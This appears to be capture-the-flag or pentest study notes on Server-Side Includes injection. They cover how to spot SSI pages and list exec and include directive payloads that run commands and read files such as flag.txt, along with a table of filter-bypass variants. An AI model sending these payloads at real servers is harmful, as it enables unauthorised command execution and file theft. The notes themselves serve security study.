SSI

Theory

Server-Side Includes (SSI) is a feature where the web server processes directives/templates embedded in HTML before sending the page to the client. If we can inject SSI directives, we may be able to read server variables, access files, or achieve Remote Code Execution (RCE).

Workflow

1. Look for file extensions

.shtml
.shtm
.stm

1. Check for comments such as

<!--#include virtual="header.html" -->

1. Test basic SSI injections

<!--#echo var="DATE_LOCAL" -->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="SERVER_SOFTWARE" -->

1. RCE

<!--#exec cmd="id" -->

1. Read files

<!--#include virtual="/flag.txt" -->
<!--#include file="flag.txt" -->

Bypasses

Payload	Bypass Type
<!--#exec cmd="id" -->	Basic / no filtering
<!--#exec cmd='id' -->	Double-quote bypass
<!--#exec cmd=id -->	Quote bypass
<!--#exec cmd="cat${IFS}flag.txt" -->	Space bypass (IFS)
<!--#exec cmd="cat%20flag.txt" -->	URL encoding
<!--#exec cmd="c\at flag.txt" -->	Character escaping
<!--#exec cmd="cat fl*" -->	Wildcards
<!--#include file="flag.txt" -->	Bypass without command execution
<!--#include virtual="/flag.txt" -->	Path bypass
<!--#echo var="DOCUMENT_ROOT" -->	Bypass without exec
<!--#echo var="SERVER_SOFTWARE" -->	Enumeration without RCE
<!--#exec cmd="sh -c 'id'" -->	Shell wrapper
<!--#exec cmd="/bin/sh -c id" -->	id blacklist bypass
<!--#exec cmd="groups;id" -->	Command chaining
<!--#exec cmd="\id" -->	Subshell
<!--#exec cmd="$(id)" -->	Command substitution